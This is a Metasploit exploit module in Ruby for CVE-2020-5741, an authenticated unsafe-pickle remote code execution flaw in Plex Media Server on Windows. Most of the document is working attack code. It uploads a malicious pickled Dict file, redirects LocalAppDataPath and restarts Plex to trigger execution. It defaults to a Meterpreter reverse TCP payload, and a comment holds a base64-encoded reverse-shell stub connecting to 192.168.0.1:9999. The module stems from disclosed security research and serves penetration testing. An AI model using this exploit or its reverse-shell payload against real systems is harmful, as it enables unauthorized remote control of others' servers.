Plex Unpickle Dict Windows Remote Code Execution

This Metasploit module exploits an authenticated Python unsafe pickle.load of a Dict file. An authenticated attacker can create a photo library and add arbitrary files to it. After setting the Windows only Plex variable LocalAppDataPath to the newly created photo library, a file named Dict will be unpickled, which causes remote code execution as the user who started Plex. Plex_Token is required, to get it you need to log-in through a web browser, then check the requests to grab the X-Plex-Token header. See info -d for additional details. If an exploit fails, or is cancelled, Dict is left on disk, a new ALBUM_NAME will be required as subsequent writes will make Dict-1, and not execute.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Plex Unpickle Dict Windows RCE',
        'Description' => %q{
          This module exploits an authenticated Python unsafe pickle.load of a Dict file.  An authenticated attacker
          can create a photo library and add arbitrary files to it.  After setting the Windows only Plex variable
          LocalAppDataPath to the newly created photo library, a file named Dict will be unpickled, which causes
          an RCE as the user who started Plex.
          Plex_Token is required, to get it you need to log-in through a web browser, then check the requests to grab
          the X-Plex-Token header.  See info -d for additional details.
          If an exploit fails, or is cancelled, Dict is left on disk, a new ALBUM_NAME will be required
          as subsuquent writes will make Dict-1, and not execute.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'Chris Lyne' # discovery, POC
          ],
        'References' =>
          [
            ['URL', 'https://github.com/tenable/poc/blob/master/plex/plex_media_server/auth_dict_unpickle_rce_exploit_tra_2020_32.py'],
            ['URL', 'https://www.tenable.com/security/research/tra-2020-32'],
            ['URL', 'http://support.plex.tv/articles/201105343-advanced-hidden-server-settings/'],
            ['URL', 'https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819'],
            ['CVE', '2020-5741']
          ],
        'Platform' => ['python'],
        'Privileged' => false,
        'Arch' => [ARCH_PYTHON],
        'DefaultOptions' => {
          'PAYLOAD' => 'python/meterpreter/reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS], # we reboot the server twice
          'Reliability' => [REPEATABLE_SESSION, CONFIG_CHANGES], # we attempt to revert config changes
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        },
        'Targets' =>
          [
            [ 'Automatic Target', {}]
          ],
        'DisclosureDate' => 'May 7 2020',
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(32400),
        OptString.new('PLEX_TOKEN', [true, 'Admin Authenticated X-Plex-Token', '']),
        OptString.new('LIBRARY_PATH', [true, 'Path to write picture library to', 'C:\\Users\\Public']),
        OptString.new('ALBUM_NAME', [true, 'Name of Album', '']),
        OptInt.new('REBOOT_SLEEP', [true, 'Time to wait for Plex to restart', 15])
      ]
    )
  end

  def album_name
    if @album_name.nil?
      @album_name = datastore['ALBUM_NAME'].blank? ? rand_text_alphanumeric(6) : datastore['ALBUM_NAME']
    end
    @album_name
  end

  def create_photo_library
    print_status('Adding new photo library')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => '/library/sections',
      'headers' =>
        {
          'X-Plex-Token' => datastore['PLEX_TOKEN'],
          'Accept' => 'application/json'
        },
      'vars_get' =>
        {
          'name' => album_name,
          'language' => 'en',
          'agent' => 'com.plexapp.agents.none',
          'location' => datastore['LIBRARY_PATH'],
          'type' => 'photo',
          'scanner' => 'Plex Photo Scanner'
        }
    )
    # response:
    # {"MediaContainer":{"size":1,"Directory":[{"art":"/:/resources/photo-fanart.jpg","composite":"/library/sections/-1/composite/1592441414","thumb":"/:/resources/photo.png","key":"7","type":"photo","title":"EvilLib2","agent":"com.plexapp.agents.none","scanner":"Plex Photo Scanner","language":"en","uuid":"95d3810f-8be0-497c-b6d4-170050f7ab30","updatedAt":1592441414,"createdAt":1592441414,"enableAutoPhotoTags":false,"content":true,"directory":true,"contentChangedAt":5135637678740750690,"Location":[{"id":7,"path":"C:\\Users\\Public"}]}]}}
    # we need to pull ['MediaContainer']['Directory'][0]['key']
    if res && res.code == 201 # 201 == Created
      return res.get_json_document['MediaContainer']['Directory'][0]['key']
    end

    nil
  end

  def add_pickle(location)
    print_status('Adding pickled Dict to library')
    # This is the pickle code, generated on windows to ensure no cross platform
    # issues were encountered
    #######
    # python (2.7 ships with Plex)
    #######
    # import pickle
    #
    # class EP(object):
    #    def __init__(self):
    #        pass
    #    def __reduce__(self):
    #        # for generating an approximately correct size and content, we use
    #        # msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1
    #        # that payload is then added after runsource.
    #        # The original pre-meterp return would be
    #        # return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '<input>', 'exec')",))
    #        return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '<input>', 'exec')",))
    #
    # e = EP()
    # pickle.dumps(e)

    # The output from that command will look similar to the following:
    # 'c__builtin__\neval\np0\n(S\'__import__(\\\'code\\\').InteractiveInterpreter().runsource("exec(__import__(\\\'base64\\\').b64decode(__import__(\\\'codecs\\\').getencoder(\\\'utf-8\\\')(\\\'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==\\\')[0]))", \\\'<input>\\\', \\\'exec\\\')\'\np1\ntp2\nRp3\n.'

    p = %|c__builtin__\neval\np0\n(S\'|
    p << %|__import__('code').InteractiveInterpreter().runsource("#{payload.encoded}", '<input>', 'exec')|.gsub("'", "\\\\'")
    p << %(\'\np1\ntp2\nRp3\n.) # rubocop changed the | to ( which to not match the last 2 lines...
    filename = "#{album_name}/Plex Media Server/Plug-in Support/Data/com.plexapp.system/"

    u = "type=13&sectionID=3&locationID=#{location}&createdAt=1171387901&filename=#{URI.encode_www_form_component(filename)}"
    # using raw here because the encodings for the filename got really wacky when using CGI
    res = send_request_raw(
      'method' => 'POST',
      'uri' => "/library/metadata?#{u}Dict",
      'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] },
      'ctype' => 'application/octet-stream',
      'data' => p
    )
    if res && res.code == 401
      fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file.  Plex server may not be registered to an account or you lack permission.')
      delete_photo_library(location)
      return false
    end
    # Deleting the file (even with a PrependFork) tended to kill the session or make it unreliable
    # register_file_for_cleanup("#{datastore['LIBRARY_PATH']}\\#{filename.gsub('/', '\\\\')}Dict")

    if res && res.code == 401
      fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file.  Plex server may not be registered to an account or you lack permission.')
      delete_photo_library(location)
      return false
    end
    true
  end

  def change_apppath(path)
    print_status('Changing AppPath')
    send_request_cgi(
      'method' => 'PUT',
      'uri' => '/:/prefs',
      'vars_get' =>
        {
          'X-Plex-Token' => datastore['PLEX_TOKEN'],
          'LocalAppDataPath' => path
        }
    )
  end

  def restart_plex
    print_status('Restarting Plex')
    send_request_cgi(
      'method' => 'GET',
      'uri' => '/:/plugins/com.plexapp.system/restart',
      'vars_get' =>
        {
          'X-Plex-Token' => datastore['PLEX_TOKEN']
        }
    )
  end

  def delete_photo_library(library)
    print_status('Deleting Photo Library')
    send_request_cgi(
      'method' => 'DELETE',
      'uri' => "/library/sections/#{library}",
      'vars_get' =>
        {
          'X-Plex-Token' => datastore['PLEX_TOKEN']
        }
    )
  end

  def ret_server_info
    print_status('Gathering Plex Config')
    res = send_request_cgi(
      'uri' => '/',
      'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] }
    )
    unless res && res.code == 200
      return nil
    end

    return Hash.from_xml(res.body)
  end

  def check
    server = ret_server_info
    if server.nil?
      return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
    end

    store_loot('plex.json', 'application/json', datastore['RHOST'], server.to_s, 'plex.json', 'Plex Server Configuration')

    report_host({
      host: datastore['RHOST'],
      os_name: server['MediaContainer']['platform'],
      os_flavor: server['MediaContainer']['platformVersion']
    })
    print_status("Server Name: #{server['MediaContainer']['friendlyName']}")
    unless server['MediaContainer']['platform'] == 'Windows'
      print_bad("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
      return CheckCode::Safe('Only Windows OS is exploitable')
    end
    print_good("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
    v = Gem::Version.new(server['MediaContainer']['version'])
    if v >= Gem::Version.new('1.19.3')
      print_bad("Server Version: #{v}")
      return CheckCode::Safe('Only < 1.19.3 is exploitable')
    end
    print_good("Server Version: #{server['MediaContainer']['version']}")
    unless server['MediaContainer']['allowCameraUpload']
      print_bad("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
      return CheckCode::Safe('Camera Upload not enabled')
    end
    print_good("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
    CheckCode::Vulnerable
  end

  def exploit
    if datastore['PLEX_TOKEN'].blank?
      fail_with(Failure::BadConfig, 'PLEX_TOKEN is required.')
    end

    unless check == CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, 'Server not vulnerable')
    end

    print_status("Using album name: #{album_name}")
    id = create_photo_library
    if id.nil?
      fail_with(Failure::UnexpectedReply, 'Unable to create photo library, possible permission problem')
    end
    print_good("Created Photo Library: #{id}")
    success = add_pickle(id)
    unless success
      fail_with(Failure::UnexpectedReply, 'Unable to upload files to library')
    end
    change_apppath("#{datastore['LIBRARY_PATH']}\\#{album_name}")
    restart_plex
    print_status("Sleeping #{datastore['REBOOT_SLEEP']} seconds for server restart")
    Rex.sleep(datastore['REBOOT_SLEEP'])
    print_status('Cleanup Phase: Reverting changes from exploitation')
    change_apppath('')
    restart_plex
    delete_photo_library(id)
  end
end
Please follow and like us: